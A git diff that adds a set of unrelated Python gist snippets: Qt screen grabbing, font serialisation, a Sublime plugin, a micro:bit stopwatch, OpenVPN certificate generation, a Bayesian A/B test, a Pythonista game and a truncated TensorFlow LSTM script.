diff --git a/hard-gists/9056ad6e642b814090829edffb4ffd27/snippet.py b/hard-gists/9056ad6e642b814090829edffb4ffd27/snippet.py
new file mode 100644
index 00000000..21dc94ad
--- /dev/null
+++ b/hard-gists/9056ad6e642b814090829edffb4ffd27/snippet.py
@@ -0,0 +1,61 @@
+
+from PySide import QtGui
+
+def grab_widget(widget=None, filepath=None):
+    """This is a test and is not proofed for production
+
+    Note:
+        See QPixmap members being obsolete in Qt5:
+        http://doc.qt.io/qt-5/qpixmap-obsolete.html
+    """
+    try:
+        screenshot = QtWidgets.QWidget.grab(widget)  # Qt5
+    except:
+        screenshot = QtGui.QPixmap.grabWidget(widget)  # Qt4
+    if filepath:
+        screenshot.save(filepath, 'png')
+
+
+def grab_desktop(filepath=None):
+    """Grab the entire desktop and save as PNG"""
+    app = QtGui.QApplication.instance()
+    screenshot = QtGui.QPixmap.grabWindow(app.desktop().winId())
+    if filepath:
+        screenshot.save(filepath, 'png')
+
+
+def grab_window(window_id, filepath=None):
+    """Grab the given window by its id
+
+    Example usage:
+        grab_window(window_id=widget.winId())
+
+    Note:
+        In Qt5, QPixmap.grabWindow is obsolete and instead we should use
+        QScreen.grabWindow. This is, however, not possible yet in
+        PySide2.
+        Read more: http://doc.qt.io/qt-5/qpixmap-obsolete.html
+    """
+    screenshot = QtGui.QPixmap.grabWindow(window_id)  # Qt4
+    if filepath:
+        screenshot.save(filepath, 'png')
+
+
+def find_viewers():
+    """Return all viewer widgets"""
+    stack = QtGui.QApplication.topLevelWidgets()
+    viewers = []
+    while stack:
+        widget = stack.pop()
+        if widget.objectName().startswith('Viewer.'):
+            viewers.append(widget)
+        stack.extend(c for c in widget.children() if c.isWidgetType())
+    return viewers
+
+
+viewer_widgets = find_viewers()
+if len(viewer_widgets) > 0:
+    widget = viewer_widgets[0]
+    grab_desktop(filepath=os.path.expanduser('~/Desktop/screengrab_desktop.png'))
+    grab_widget(widget=widget, filepath=os.path.expanduser('~/Desktop/screengrab_widget.png'))
+    grab_window(window_id=widget.winId(), filepath=os.path.expanduser('~/Desktop/screengrab_window.png'))
\ No newline at end of file
diff --git a/hard-gists/9060558/._snippet.py b/hard-gists/9060558/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9060558/._snippet.py differ
diff --git a/hard-gists/9060558/snippet.py b/hard-gists/9060558/snippet.py
new file mode 100644
index 00000000..a0c35c31
--- /dev/null
+++ b/hard-gists/9060558/snippet.py
@@ -0,0 +1,108 @@
+# Ventriloquist - Build 0.1
+# insert a dummy dsig table with unique numbers into .otf fonts
+# the idea is to kill two birds with one stone
+# this idea needs lots of testing
+# to do: add SerialDump[] to a txt file for record keeping
+# 
+# jackson@okaytype.com
+
+from fontTools.ttLib import TTFont
+from mojo.compile import *
+from robofab.interface.all.dialogs import GetFolder
+import os
+import datetime
+from time import sleep
+from os.path import exists
+
+# number of serials to generate
+packageNos=1
+
+# notification center, so you can get coffee
+def notify(title, subtitle, message):
+    from os import system
+    t = '-title {!r}'.format(title)
+    s = '-subtitle {!r}'.format(subtitle)
+    m = '-message {!r}'.format(message)
+    a = '-sender {!r}'.format("com.typemytype.robofont")
+    system('terminal-notifier {}'.format(' '.join([m, t, s, a])))
+    
+if exists("/usr/bin/terminal-notifier"):
+    use_notifications = True
+else:
+    use_notifications = False
+    print "In order to use notifications, install the command line program with:"
+    print "$ sudo gem install terminal-notifier"
+
+# make up the serials, based on the time
+SerialDump=[]
+for x in range(0, packageNos):
+    b = "1"+datetime.datetime.now().strftime("%m%d%H%M%S%f")
+    b = b[:-1]
+    sleep(0.01)
+    SerialDump.append(b)
+    
+# cull list to just .otf files
+def collectSources(root):
+    files = []
+    ext = ['.otf']
+    names = os.listdir(root)
+    for n in names:
+        if os.path.splitext(n)[1] in ext:
+            files.append(os.path.join(root, n))
+    return files
+
+# set target folder
+def makeDestination(root, z):
+    macPath = os.path.join(root, 'Serialized', z)
+    if not os.path.exists(macPath):
+        os.makedirs(macPath)
+    return macPath
+
+# insert table into temp xml file
+def seriaLize(savetemp, q):
+    xbefor = '</ttFont>'
+    xafter = '  <DSIG>\n    <tableHeader flag="0x1" numSigs="1" version="1"/>\n    <SignatureRecord format="1">\n'+q+'\n    </SignatureRecord>\n  </DSIG>\n\n</ttFont>'
+    ttxf = open(savetemp, 'r')
+    ttxfread = ttxf.read()
+    ttxf.close()
+    ttxfreplaced = ttxfread.replace(xbefor, xafter)
+    ttxf = open(savetemp, 'w')
+    ttxf.write(ttxfreplaced)
+    ttxf.close()
+
+# iterate through selected files
+def doStuff(f):
+    if f is not None:        
+        # cut f to just .otf files
+        paths = collectSources(f)
+
+        for x in range(0, len(SerialDump)):
+            currentNo = str(SerialDump[x])
+            makeDestination(f, currentNo)
+            
+            for i in paths:
+                
+                instanceFolder, instanceName = os.path.split(i)    
+                q = TTFont(i)
+                
+                serialfolder = instanceFolder + "/Serialized/" + currentNo + "/"
+                savetemp =  serialfolder + instanceName + "-" + currentNo + ".ttx"
+                savetemp = savetemp.replace(".otf", "")
+                newfile = serialfolder + instanceName.replace(".otf", ".ttx")
+                q.saveXML(savetemp)
+
+                seriaLize(savetemp, currentNo)
+
+                os.rename(savetemp, newfile)
+                stderr, stdout = executeCommand(['ttx', newfile])
+                os.remove(newfile)
+
+                #print i, "finished serializing as", currentNo
+
+# select fonts
+f = GetFolder("Select Folder")
+
+# run shit
+doStuff(f)
+
+notify("Ventriloquist is Done", "", "Check your output folders")
diff --git a/hard-gists/9077495/._snippet.py b/hard-gists/9077495/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9077495/._snippet.py differ
diff --git a/hard-gists/9077495/snippet.py b/hard-gists/9077495/snippet.py
new file mode 100644
index 00000000..a06b9c5d
--- /dev/null
+++ b/hard-gists/9077495/snippet.py
@@ -0,0 +1,19 @@
+import sublime, sublime_plugin
+
+BUILD_COLOR_SCHEME = "Packages/Color Scheme - Default/Twilight.tmTheme"
+
+def in_build_dir(view):
+    if not view or not view.file_name():
+        return False
+    return "/build/" in view.file_name()
+
+
+class GTFO(sublime_plugin.EventListener):
+
+    def on_modified(self, view=None):
+        if in_build_dir(view):
+            sublime.error_message("GTFO")
+
+    def on_activated(self, view=None):
+        if in_build_dir(view):
+            view.settings().set("color_scheme", BUILD_COLOR_SCHEME)
diff --git a/hard-gists/9089444/._snippet.py b/hard-gists/9089444/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9089444/._snippet.py differ
diff --git a/hard-gists/9089444/snippet.py b/hard-gists/9089444/snippet.py
new file mode 100644
index 00000000..f55b7c6b
--- /dev/null
+++ b/hard-gists/9089444/snippet.py
@@ -0,0 +1,23 @@
+from rest_framework import serializers
+
+class HyperlinkedIdentityField(serializers.HyperlinkedIdentityField):
+    """
+    This is a performance wrapper for HyperlinkedIdentityField.
+    We save a ton of time by not calling reverse potentially
+    thousands of times per request.
+    """
+
+    def __init__(self, *args, **kwargs):
+        self.view_url = kwargs.pop("view_url", "")
+        super(HyperlinkedIdentityField, self).__init__(*args, **kwargs)
+
+    def field_to_native(self, obj, field_name):
+        return "http%s://%s%s" % (
+            "s" if not settings.DEBUG else "",
+            self.context["request"]._request.META["HTTP_HOST"],
+            self.view_url % obj.id,
+        )
+
+# Example : 
+# items = HyperlinkedIdentityField(view_url="/api/subscriptions/%s/items/",
+#    view_name="subscription_item_list", pk_url_kwarg="subscription_id")
diff --git a/hard-gists/908a8f99ea5c98cedb4aaf71c7a3324f/._snippet.py b/hard-gists/908a8f99ea5c98cedb4aaf71c7a3324f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/908a8f99ea5c98cedb4aaf71c7a3324f/._snippet.py differ
diff --git a/hard-gists/908a8f99ea5c98cedb4aaf71c7a3324f/snippet.py b/hard-gists/908a8f99ea5c98cedb4aaf71c7a3324f/snippet.py
new file mode 100644
index 00000000..2412c60b
--- /dev/null
+++ b/hard-gists/908a8f99ea5c98cedb4aaf71c7a3324f/snippet.py
@@ -0,0 +1,249 @@
+from microbit import *
+
+def clear_line(line):
+
+    display.set_pixel(0, line, 0)
+    display.set_pixel(1, line, 0)
+    display.set_pixel(2, line, 0)
+    display.set_pixel(3, line, 0)
+    display.set_pixel(4, line, 0)
+
+    return
+
+def clear_row(row):
+
+    display.set_pixel(row, 0, 0)
+    display.set_pixel(row, 1, 0)
+    display.set_pixel(row, 2, 0)
+    display.set_pixel(row, 3, 0)
+    display.set_pixel(row, 4, 0)
+
+    return
+
+time = 0
+target = 1000
+display_time = 0
+
+x_sec = -1
+y_sec = 0
+val_sec = 4
+
+x_sec_ten = -1
+y_sec_ten = 1
+val_sec_ten = 9
+
+x_min = -1
+y_min = 2
+val_min = 4
+
+x_min_ten = -1
+
+y_min_ten = 3
+
+val_min_ten = 9
+
+
+x_hour = -1
+y_hour = 4
+val_hour = 4
+debounce = 0
+
+start_stop = 0
+
+
+while True:
+
+
+    if debounce == 0:
+
+        if button_a.is_pressed() == True:
+
+            debounce = 1
+
+            sleep(100)
+
+            start_stop = start_stop + 1
+        
+
+            if start_stop >= 2:
+
+                start_stop = 0
+        
+
+    if debounce == 0:
+
+        if start_stop == 0:
+
+            if button_b.is_pressed() == True:
+
+                debounce = 1
+                sleep(100)
+                start_stop = 0
+
+                x_sec = -1
+                y_sec = 0
+                val_sec = 4
+
+                x_sec_ten = -1
+                y_sec_ten = 1
+                val_sec_ten = 9
+
+                x_min = -1
+                y_min = 2
+                val_min = 4
+
+                x_min_ten = -1
+                y_min_ten = 3
+                val_min_ten = 9
+
+                x_hour = -1
+                y_hour = 4
+                val_hour = 4
+
+                display.clear()
+                display.scroll("Stopwatch reset !!!", delay=100)
+
+
+    if debounce == 1:
+
+        if button_a.is_pressed() == False:
+
+            debounce = 0
+            sleep(100)        
+        
+
+    if start_stop == 1:
+
+        
+        if (running_time() - time) >= target:
+
+            time = running_time()
+            display_time = display_time + 1
+
+            if val_sec == 4:
+
+                x_sec = x_sec + 1
+
+                if x_sec >= 0:
+
+                    display.set_pixel(x_sec, y_sec, val_sec)
+
+
+                if x_sec == 4:
+
+                    x_sec = -2
+
+                    val_sec = 9
+
+
+            if val_sec == 9:
+                x_sec = x_sec + 1
+
+
+                if x_sec >= 0:
+                    display.set_pixel(x_sec, y_sec, val_sec)
+
+                if x_sec == 4:
+                    x_sec = -1
+                    val_sec = 4
+                    x_sec_ten = x_sec_ten + 1 
+                    clear_line(0)
+                 
+                    if x_sec_ten < 5:
+
+                        display.set_pixel(x_sec_ten, y_sec_ten, val_sec_ten)
+
+            if x_sec_ten == 5:
+
+                x_sec_ten = -1
+                clear_line(1)
+
+                if val_min == 4:
+
+                    x_min = x_min +1
+
+                    if x_min >= 0:
+
+                        display.set_pixel(x_min, y_min, val_min)
+                
+
+                    if x_min == 4:
+
+                        x_min = -2
+                        val_min = 9
+            
+
+                if val_min == 9:
+
+                    x_min = x_min +1
+
+                    if x_min >= 0:
+
+                        display.set_pixel(x_min, y_min, val_min)
+
+                    if x_min == 4:
+
+                        x_min = -1
+                        val_min = 4
+                        x_min_ten = x_min_ten + 1 
+                        clear_line(2)
+                    
+
+                        if x_min_ten < 5:
+
+                            display.set_pixel(x_min_ten, y_min_ten, val_min_ten)
+                              
+
+            if x_min_ten == 5:
+
+                x_min_ten = -1
+                clear_line(3)
+
+                if val_hour == 4:
+
+                    x_hour = x_hour +1
+
+                    if x_hour >= 0:
+
+                        display.set_pixel(x_hour, y_hour, val_hour)
+               
+
+                    if x_hour == 4:
+
+                        x_hour = -2
+                        val_hour = 9
+                      
+
+                if val_hour == 9:
+
+                    x_hour = x_hour +1
+
+                    if x_hour >= 0:
+
+                        display.set_pixel(x_hour, y_hour, val_hour)
+              
+
+                    if x_hour == 4:
+
+                        x_sec = -1
+                        y_sec = 0
+                        val_sec = 4
+
+                        x_sec_ten = -1
+                        y_sec_ten = 1
+                        val_sec_ten = 9
+
+                        x_min = -1
+                        y_min = 2
+                        val_min = 4
+
+                        x_min_ten = -1
+                        y_min_ten = 3
+                        val_min_ten = 9
+
+                        x_hour = -1
+                        y_hour = 4
+                        val_hour = 4
+
+                        display.clear()
+                        display.scroll("Stopwatch reset !!!", delay=100)
\ No newline at end of file
diff --git a/hard-gists/908ef5f4fa162f15b3b8/._snippet.py b/hard-gists/908ef5f4fa162f15b3b8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/908ef5f4fa162f15b3b8/._snippet.py differ
diff --git a/hard-gists/908ef5f4fa162f15b3b8/snippet.py b/hard-gists/908ef5f4fa162f15b3b8/snippet.py
new file mode 100644
index 00000000..93b739c9
--- /dev/null
+++ b/hard-gists/908ef5f4fa162f15b3b8/snippet.py
@@ -0,0 +1,171 @@
+import os
+import socket
+from OpenSSL import crypto, SSL
+
+# OpenVPN is fairly simple since it works on OpenSSL. The OpenVPN server contains
+# a root certificate authority that can sign sub-certificates. The certificates
+# have very little or no information on who they belong to besides a filename
+# and any required information. Everything else is omitted or blank.
+# The client certificate and private key are inserted into the .ovpn file
+# which contains some settins as well and the entire thing is then ready for
+# the user.
+
+# EasyRSA generates a standard unsigned certificate, certificate request, and private key.
+# It then signs the certificate against the CA then dumps the certificate request in the trash.
+# The now signed certificate and private key are returned.
+
+# Create a new keypair of specified algorithm and number of bits.
+def make_keypair(algorithm=crypto.TYPE_RSA, numbits=2048):
+    pkey = crypto.PKey()
+    pkey.generate_key(algorithm, numbits)
+    return pkey
+
+# Creates a certificate signing request (CSR) given the specified subject attributes.
+def make_csr(pkey, CN, C=None, ST=None, L=None, O=None, OU=None, emailAddress=None, hashalgorithm='sha256WithRSAEncryption'):
+    req = crypto.X509Req()
+    req.get_subject()
+    subj  = req.get_subject()
+
+    if C:
+        subj.C = C
+    if ST:
+        subj.ST = ST
+    if L:
+        subj.L = L
+    if O:
+        subj.O = O
+    if OU:
+        subj.OU = OU
+    if CN:
+        subj.CN = CN
+    if emailAddress:
+        subj.emailAddress = emailAddress
+
+    req.set_pubkey(pkey)
+    req.sign(pkey, hashalgorithm)
+    return req
+
+# Create a certificate authority (if we need one)
+def create_ca(CN, C="", ST="", L="", O="", OU="", emailAddress="", hashalgorithm='sha256WithRSAEncryption'):
+    cakey = make_keypair()
+    careq = make_csr(cakey, cn=CN)
+    cacert = crypto.X509()
+    cacert.set_serial_number(0)
+    cacert.gmtime_adj_notBefore(0)
+    cacert.gmtime_adj_notAfter(60*60*24*365*10) # 10 yrs - hard to beat this kind of cert!
+    cacert.set_issuer(careq.get_subject())
+    cacert.set_subject(careq.get_subject())
+    cacert.set_pubkey(careq.get_pubkey())
+    cacert.set_version(2)
+
+    # Set the extensions in two passes
+    cacert.add_extensions([
+        crypto.X509Extension('basicConstraints', True,'CA:TRUE'),
+        crypto.X509Extension('subjectKeyIdentifier' , True , 'hash', subject=cacert)
+    ])
+
+    # ... now we can set the authority key since it depends on the subject key
+    cacert.add_extensions([
+        crypto.X509Extension('authorityKeyIdentifier' , False, 'issuer:always, keyid:always', issuer=cacert, subject=cacert)
+    ])
+
+    cacert.sign(cakey, hashalgorithm)
+    return (cacert, cakey)
+
+# Create a new subordinate cert.
+def create_subordinate_certificate(csr, cakey, cacert, serial):
+    cert = crypto.X509()
+    cert.set_serial_number(serial)
+    cert.gmtime_adj_notBefore(0)
+    cert.gmtime_adj_notAfter(60*60*24*365*10) # 10 yrs - hard to beat this kind of cert!
+    cert.set_issuer(cacert.get_subject())
+    cert.set_subject(csr.get_subject())
+    cert.set_pubkey(csr.get_pubkey())
+    cert.set_version(2)
+
+    extensions = []
+    extensions.append(crypto.X509Extension('basicConstraints', False ,'CA:FALSE'))
+
+    extensions.append(crypto.X509Extension('subjectKeyIdentifier' , False , 'hash', subject=cert))
+    extensions.append(crypto.X509Extension('authorityKeyIdentifier' , False, 'keyid:always,issuer:always', subject=cacert, issuer=cacert))
+
+    cert.add_extensions(extensions)
+    cert.sign(cakey, 'sha256WithRSAEncryption')
+
+    return cert
+
+# Dumps content to a string
+def dump_file_in_mem(material, format=crypto.FILETYPE_PEM):
+    dump_func = None
+    if isinstance(material, crypto.X509):
+        dump_func = crypto.dump_certificate
+    elif isinstance(material, crypto.PKey):
+        dump_func = crypto.dump_privatekey
+    elif isinstance(material, crypto.X509Req):
+        dump_func = crypto.dump_certificate_request
+    else:
+        raise Exception("Don't know how to dump content type to file: %s (%r)" % (type(material), material))
+
+    return dump_func(format, material)
+
+
+# Loads the file into the appropriate openssl object type.
+def load_from_file(materialfile, objtype, format=crypto.FILETYPE_PEM):
+    if objtype is crypto.X509:
+        load_func = crypto.load_certificate
+    elif objtype is crypto.X509Req:
+        load_func = crypto.load_certificate_request
+    elif objtype is crypto.PKey:
+        load_func = crypto.load_privatekey
+    else:
+        raise Exception("Unsupported material type: %s" % (objtype,))
+
+    with open(materialfile, 'r') as fp:
+        buf = fp.read()
+
+    material = load_func(format, buf)
+    return material
+
+def retrieve_key_from_file(keyfile):
+    return load_from_file(keyfile, crypto.PKey)
+
+def retrieve_csr_from_file(csrfile):
+    return load_from_file(csrfile, crypto.X509Req)
+
+def retrieve_cert_from_file(certfile):
+    return load_from_file(certfile, crypto.X509)
+
+
+def make_new_ovpn_file(ca_cert, ca_key, clientname, serial, commonoptspath, filepath):
+
+    # Read our common options file first
+    f = open(commonoptspath, 'r')
+    common = f.read()
+    f.close()
+
+    cacert = retrieve_cert_from_file(ca_cert)
+    cakey  = retrieve_key_from_file(ca_key)
+
+    # Generate a new private key pair for a new certificate.
+    key = make_keypair()
+    # Generate a certificate request
+    csr = make_csr(key, clientname)
+    # Sign the certificate with the new csr
+    crt = create_subordinate_certificate(csr, cakey, cacert, serial)
+
+    # Now we have a successfully signed certificate. We must now
+    # create a .ovpn file and then dump it somewhere.
+    clientkey  = dump_file_in_mem(key)
+    clientcert = dump_file_in_mem(crt)
+    cacertdump = dump_file_in_mem(cacert)
+    ovpn = "%s<ca>\n%s</ca>\n<cert>\n%s</cert>\n<key>\n%s</key>\n" % (common, cacertdump, clientcert, clientkey)
+
+    # Write our file.
+    f = open(filepath, 'w')
+    f.write(ovpn)
+    f.close()
+
+
+if __name__ == "__main__":
+    make_new_ovpn_file("ca.crt", "ca.key", "justasictest", 0x0C, "common.txt", "justastictest.ovpn")
+    print("Done")
\ No newline at end of file
diff --git a/hard-gists/9090456/._snippet.py b/hard-gists/9090456/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9090456/._snippet.py differ
diff --git a/hard-gists/9090456/snippet.py b/hard-gists/9090456/snippet.py
new file mode 100644
index 00000000..3ebaa538
--- /dev/null
+++ b/hard-gists/9090456/snippet.py
@@ -0,0 +1,65 @@
+from matplotlib import use
+
+from pylab import *
+from scipy.stats import beta, norm, uniform
+from random import random
+from numpy import *
+import numpy as np
+import os
+
+# Input data
+prior_params = [ (1, 1), (1,1) ]
+threshold_of_caring = 0.001
+
+N = array([ 200, 204 ])
+s = array([ 16, 36 ])
+
+#Don't edit anything past here
+
+def bayesian_expected_error(N,s):
+    degrees_of_freedom = len(prior_params)
+    posteriors = []
+    for i in range(degrees_of_freedom):
+        posteriors.append( beta(prior_params[i][0] + s[i] - 1, prior_params[i][1] + N[i] - s[i] - 1) )
+    xgrid_size = 1024
+    x = mgrid[0:xgrid_size,0:xgrid_size] / float(xgrid_size)
+    # Compute joint posterior, which is a product distribution
+    pdf_arr = posteriors[0].pdf(x[1]) * posteriors[1].pdf(x[0])
+    pdf_arr /= pdf_arr.sum() # normalization
+    expected_error_dist = maximum(x[0]-x[1],0.0) * pdf_arr
+    return expected_error_dist.sum()
+
+# Code
+degrees_of_freedom = len(prior_params)
+posteriors = []
+for i in range(degrees_of_freedom):
+    posteriors.append( beta(prior_params[i][0] + s[i] - 1, prior_params[i][1] + N[i] - s[i] - 1) )
+
+if degrees_of_freedom == 2:
+    xgrid_size = 1024
+
+    x = mgrid[0:xgrid_size,0:xgrid_size] / float(xgrid_size)
+    # Compute joint posterior, which is a product distribution
+    pdf_arr = posteriors[0].pdf(x[1]) * posteriors[1].pdf(x[0])
+    pdf_arr /= pdf_arr.sum() # normalization
+
+    prob_error = zeros(shape=x[0].shape)
+    if (s[1] / float(N[1])) > (s[0] / float(N[0])):
+        prob_error[where(x[1] > x[0])] = 1.0
+    else:
+        prob_error[where(x[0] > x[1])] = 1.0
+
+    expected_error = maximum(abs(x[0]-x[1]),0.0)
+
+    expected_err_scalar = (expected_error * prob_error * pdf_arr).sum()
+
+    if (expected_err_scalar < threshold_of_caring):
+        if (s[1] / float(N[1])) > (s[0] / float(N[0])):
+            print "Probability that version B is larger is " + str((prob_error*pdf_arr).sum())
+            print "Terminate test. Choose version B. Expected error is " + str(expected_err_scalar)
+        else:
+            print "Probability that version A is larger is " + str((prob_error*pdf_arr).sum())
+            print "Terminate test. Choose version A. Expected error is " + str(expected_err_scalar)
+    else:
+        print "Probability that version B is larger is " + str((prob_error*pdf_arr).sum())
+        print "Continue test. Expected error was " + str(expected_err_scalar) + " > " + str(threshold_of_caring)
diff --git a/hard-gists/9098744/._snippet.py b/hard-gists/9098744/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9098744/._snippet.py differ
diff --git a/hard-gists/9098744/snippet.py b/hard-gists/9098744/snippet.py
new file mode 100644
index 00000000..7e540a47
--- /dev/null
+++ b/hard-gists/9098744/snippet.py
@@ -0,0 +1,200 @@
+from scene import *
+import random
+
+IMAGE_WIDTH = 101
+IMAGE_HEIGHT = 171
+IMAGE_Y_OFFSET = -30
+BLOCK_HEIGHT = 40
+BLOCK_DEPTH = 80
+DEAD_ZONE_MIN = -0.02
+DEAD_ZONE_MAX =  0.02
+PLAYER_CONTROL_SPEED = 2000
+PLAYER_BOUNCE_VELOCITY = 1700
+PLAYER_INITIAL_BOUNCE = 1700
+MAX_CLOUD_DIST = 500
+DIFFICULTY_Q = 100000.0
+GAME_GRAVITY = 2000
+GAME_WAITING = 0
+GAME_PLAYING = 1
+GAME_DEAD = 2
+
+class Player(object):
+    def __init__(self):
+        self.bounds = Rect()
+        self.velocity = 0
+
+    def draw(self):
+        tint(1,1,1)
+        image('PC_Character_Pink_Girl', self.bounds.x, self.bounds.y + IMAGE_Y_OFFSET)
+
+class GroundBlock(object):
+    def __init__(self):
+        self.bounds = Rect()
+
+    def draw(self):
+        tint(1,1,1)
+        image('PC_Grass_Block', self.bounds.x, self.bounds.y)
+
+class Cloud (object):
+    def __init__(self):
+        self.shapes = []
+
+        num_circles = random.randint(4, 5)
+        for i in xrange(num_circles):
+            x = i * 20 - ((num_circles/2)*30)
+            y = (random.random()-0.5) * 30
+            rad = random.randint(50, 100)
+            self.shapes.append([x, y, rad])
+
+        self.width = num_circles * 30 + 30
+        self.bounds = Rect(0, 0, self.width, 60)
+
+    def is_colliding(self, pos):
+        startp = self.bounds.x - self.width/2
+        endp = self.bounds.x + self.width/2
+        if ((pos.x < endp) and (pos.x > startp) and
+            (pos.y < (self.bounds.y + 30)) and
+            (pos.y > (self.bounds.y + 10))):
+                return True 
+        return False
+
+    def draw(self):
+        push_matrix()
+        translate(self.bounds.x, self.bounds.y)
+        no_stroke()
+        fill(0.90, 0.90, 0.90)
+        for i in self.shapes:
+            ellipse(i[0], i[1] - 5, i[2], i[2])
+
+        fill(1.00, 1.00, 1.00)
+        for i in self.shapes:
+            ellipse(i[0], i[1] + 5, i[2], i[2])
+
+        pop_matrix()
+
+class MyScene (Scene):
+
+    def create_ground(self):
+        for x in range((int(self.bounds.w) / IMAGE_WIDTH) + 1):
+            block = GroundBlock()
+            block.bounds = Rect(x * IMAGE_WIDTH, 0, IMAGE_WIDTH, IMAGE_HEIGHT)
+            self.scenery.append(block)
+
+    def generate_clouds(self):
+        y = self.cloud_height
+        while self.cloud_height < self.bounds.h * 2:
+            q = min(self.climb, DIFFICULTY_Q)
+            min_dist = int(MAX_CLOUD_DIST * q / DIFFICULTY_Q)
+            max_dist = int(MAX_CLOUD_DIST / 2 + min_dist / 2)
+            self.cloud_height += random.randint(min_dist, max_dist)
+            cloud = Cloud()
+            cloud.bounds.x = random.random() * (self.bounds.w - 150)
+            cloud.bounds.y = self.cloud_height
+            self.scenery.append(cloud)
+
+    def cull_scenery(self):
+        i = len(self.scenery)
+        for sprite in self.scenery[:]:
+            if sprite.bounds.top() < 0:
+                self.scenery.remove(sprite)         
+
+    def control_player(self):
+        tilt = gravity().x
+        if(tilt < DEAD_ZONE_MIN) or (tilt > DEAD_ZONE_MAX):
+            move = self.dt * tilt * PLAYER_CONTROL_SPEED
+            self.player.bounds.x += move
+            if(self.player.bounds.x < 0):
+                self.player.bounds.x = 0
+            elif(self.player.bounds.x > self.bounds.w - self.player.bounds.w):
+                self.player.bounds.x = self.bounds.w - self.player.bounds.w
+
+    def lower_scenery(self, y):
+        self.climb += y
+        self.cloud_height -= y
+        for sprite in self.scenery:
+            sprite.bounds.y -= y
+
+    def run_gravity(self):
+        player_y_move = self.dt * self.player.velocity
+        scenery_y_move = 0
+        old_velocity = self.player.velocity
+        self.player.velocity -= self.dt * GAME_GRAVITY
+        if(old_velocity > 0) and (self.player.velocity <= 0):
+            self.player_apex_frame = True
+        self.player.bounds.y += player_y_move
+        if(self.player.bounds.y >= self.player_max_y):
+            scenery_y_move = self.player.bounds.y - self.player_max_y
+            self.player.bounds.y = self.player_max_y
+            self.lower_scenery(scenery_y_move)
+        elif(self.player.bounds.top() < 0):
+            self.game_state = GAME_DEAD
+
+    def collision_detect(self):
+        bounce = False
+        if(self.player.velocity < 0):
+            p = Point(self.player.bounds.x + self.player.bounds.w/2, self.player.bounds.y)
+            for sprite in self.scenery:
+                if hasattr(sprite, 'is_colliding'):
+                    collision = sprite.is_colliding(p)
+                else:
+                    collision = p in sprite.bounds
+                if collision:
+                    self.player.velocity = PLAYER_BOUNCE_VELOCITY
+                    break 
+
+    def game_loop(self):
+        if self.game_state == GAME_PLAYING:
+            self.run_gravity()
+            self.collision_detect()
+            self.control_player()
+            if self.player_apex_frame:
+                self.cull_scenery()
+                self.generate_clouds()
+                self.player_apex_frame = False
+
+    def shadow_text(self, s, x, y):
+        tint(0,0,0)
+        text(s, 'AvenirNext-Heavy', 48, x + 2, y - 2)
+        tint(0.00, 0.50, 1.00)
+        text(s, 'AvenirNext-Heavy', 48, x, y)
+
+    def draw_text(self):
+        if(self.game_state == GAME_WAITING):
+            if(int(self.t) % 2):
+                self.shadow_text('Tap Screen to Start', self.bounds.w / 2, self.bounds.h * 0.6)
+                self.shadow_text('Tilt Screen to Steer', self.bounds.w / 2, self.bounds.h * 0.4)
+        elif(self.game_state == GAME_PLAYING):
+            self.shadow_text('Score : ' + str(int(self.climb / 10)), self.bounds.w / 2, self.bounds.h * 0.95)
+        if(self.game_state == GAME_DEAD):
+            self.shadow_text('Score : ' + str(int(self.climb / 10)), self.bounds.w / 2, self.bounds.h * 0.95)
+            self.shadow_text('Game Over', self.bounds.w / 2, self.bounds.h / 2)
+
+
+    def setup(self):
+        self.game_state = GAME_WAITING
+        self.scenery = []
+        self.climb = 0
+        self.create_ground()
+        self.cloud_height = 200
+        self.generate_clouds()
+        self.player = Player()
+        self.player_apex_frame = False
+        self.player.bounds = Rect(self.bounds.w / 2 - IMAGE_WIDTH / 2, BLOCK_HEIGHT + BLOCK_DEPTH / 2, IMAGE_WIDTH, IMAGE_HEIGHT)
+        self.player_max_y = self.bounds.h * 0.6
+
+    def draw(self):
+        self.game_loop()
+        background(0.40, 0.80, 1.00)
+        for sprite in self.scenery:
+            sprite.draw()
+        self.player.draw()
+        self.draw_text()
+
+    def touch_began(self, touch):
+        if self.game_state == GAME_WAITING:
+            self.game_state = GAME_PLAYING
+            self.player.velocity = PLAYER_INITIAL_BOUNCE
+        elif self.game_state == GAME_DEAD:
+            self.setup()
+
+run(MyScene(), PORTRAIT)
\ No newline at end of file
diff --git a/hard-gists/90a6d0f6789e15c38e97/._snippet.py b/hard-gists/90a6d0f6789e15c38e97/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/90a6d0f6789e15c38e97/._snippet.py differ
diff --git a/hard-gists/90a6d0f6789e15c38e97/snippet.py b/hard-gists/90a6d0f6789e15c38e97/snippet.py
new file mode 100644
index 00000000..70b2070f
--- /dev/null
+++ b/hard-gists/90a6d0f6789e15c38e97/snippet.py
@@ -0,0 +1,77 @@
+# Stacked LSTMs
+# Author: Kyle Kastner
+# Based on script from /u/siblbombs
+# License: BSD 3-Clause
+import tensorflow as tf
+from tensorflow.models.rnn import rnn
+from tensorflow.models.rnn.rnn_cell import LSTMCell
+import numpy as np
+import time
+
+log_device_placement = True
+np.random.seed(1)
+batch_size = 100
+n_steps = 250
+
+input_dim = 50
+hidden_dim = 70
+output_dim = 20
+
+
+#  Sequences we will provide at runtime
+seq_input = tf.placeholder(tf.float32, [n_steps, batch_size, input_dim])
+
+#  What timestep we want to stop at
+early_stop = tf.placeholder(tf.int32)
+
+initializer = tf.random_uniform_initializer(-1, 1)
+
+#  Inputs for rnn needs to be a list, each item being a timestep.
+#  we need to split our input into each timestep, and reshape it because
+#  split keeps dims by default
+inputs = [tf.reshape(i, (batch_size, input_dim))
+          for i in tf.split(0, n_steps, seq_input)]
+
+
+with tf.device("/cpu:0"):
+    cell1 = LSTMCell(hidden_dim, input_dim, initializer=initializer)
+    initial_state1 = cell1.zero_state(batch_size, tf.float32)
+    outputs1, states1 = rnn.rnn(cell1, inputs, initial_state=initial_state1,
+                                sequence_length=early_stop, scope="RNN1")
+
+with tf.device("/cpu:0"):
